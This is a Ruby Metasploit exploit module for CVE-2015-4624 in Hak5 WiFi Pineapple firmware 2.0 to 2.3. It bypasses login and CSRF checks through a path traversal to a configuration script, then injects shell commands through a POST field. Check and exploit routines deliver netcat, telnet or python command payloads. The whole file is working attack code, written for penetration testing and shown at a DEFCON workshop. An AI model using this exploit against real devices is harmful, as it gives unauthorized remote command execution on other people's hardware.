##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Hak5 WiFi Pineapple Preconfiguration Command Injection',
        'Description' => %q{
          This module exploits a login/csrf check bypass vulnerability on WiFi Pineapples version 2.0 <= pineapple < 2.4.
          These devices may typically be identified by their SSID beacons of 'Pineapple5_....';
          Provided as part of the TospoVirus workshop at DEFCON23.
        },
        'Author' => ['catatonicprime'],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2015-4624' ]
        ],
        'Platform' => ['unix'],
        'Arch' => ARCH_CMD,
        'Privileged' => false,
        'Payload' => {
          'Space' => 2048,
          'DisableNops' => true,
          'Compat' =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic python netcat telnet'
            }
        },
        'Targets' => [
          [ 'WiFi Pineapple 2.0.0 - 2.3.0', {} ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2015-08-01',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [ true, 'Path to the command injection', '/components/system/configuration/functions.php' ]),
        Opt::RPORT(1471),
        Opt::RHOST('172.16.42.1')
      ]
    )

    deregister_options(
      'ContextInformationFile',
      'DOMAIN',
      'DigestAuthIIS',
      'EnableContextEncoding',
      'FingerprintCheck',
      'HttpClientTimeout',
      'NTLM::SendLM',
      'NTLM::SendNTLM',
      'NTLM::SendSPN',
      'NTLM::UseLMKey',
      'NTLM::UseNTLM2_session',
      'NTLM::UseNTLMv2',
      'SSL',
      'SSLVersion',
      'VERBOSE',
      'WORKSPACE',
      'WfsDelay',
      'Proxies',
      'VHOST'
    )
  end

  def cmd_uri
    normalize_uri('includes', 'css', 'styles.php', '../../..', target_uri.path)
  end

  def cmd_inject(cmd)
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => cmd_uri,
      'vars_get' => {
        'execute' => "" # Presence triggers command execution
      },
      'vars_post' => {
        'commands' => cmd
      }
    )
    res
  end

  def check
    res = cmd_inject("echo")
    if res && res.code == 200 && res.body =~ /Executing/
      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    end

    Exploit::CheckCode::Safe('The target is not vulnerable')
  end

  def exploit
    print_status('Attempting to bypass login/csrf checks...')
    unless check
      fail_with(Failure::NoAccess, 'Failed to bypass login/csrf check...')
    end
    print_status('Executing payload...')
    cmd_inject("#{payload.encoded}")
  end
end
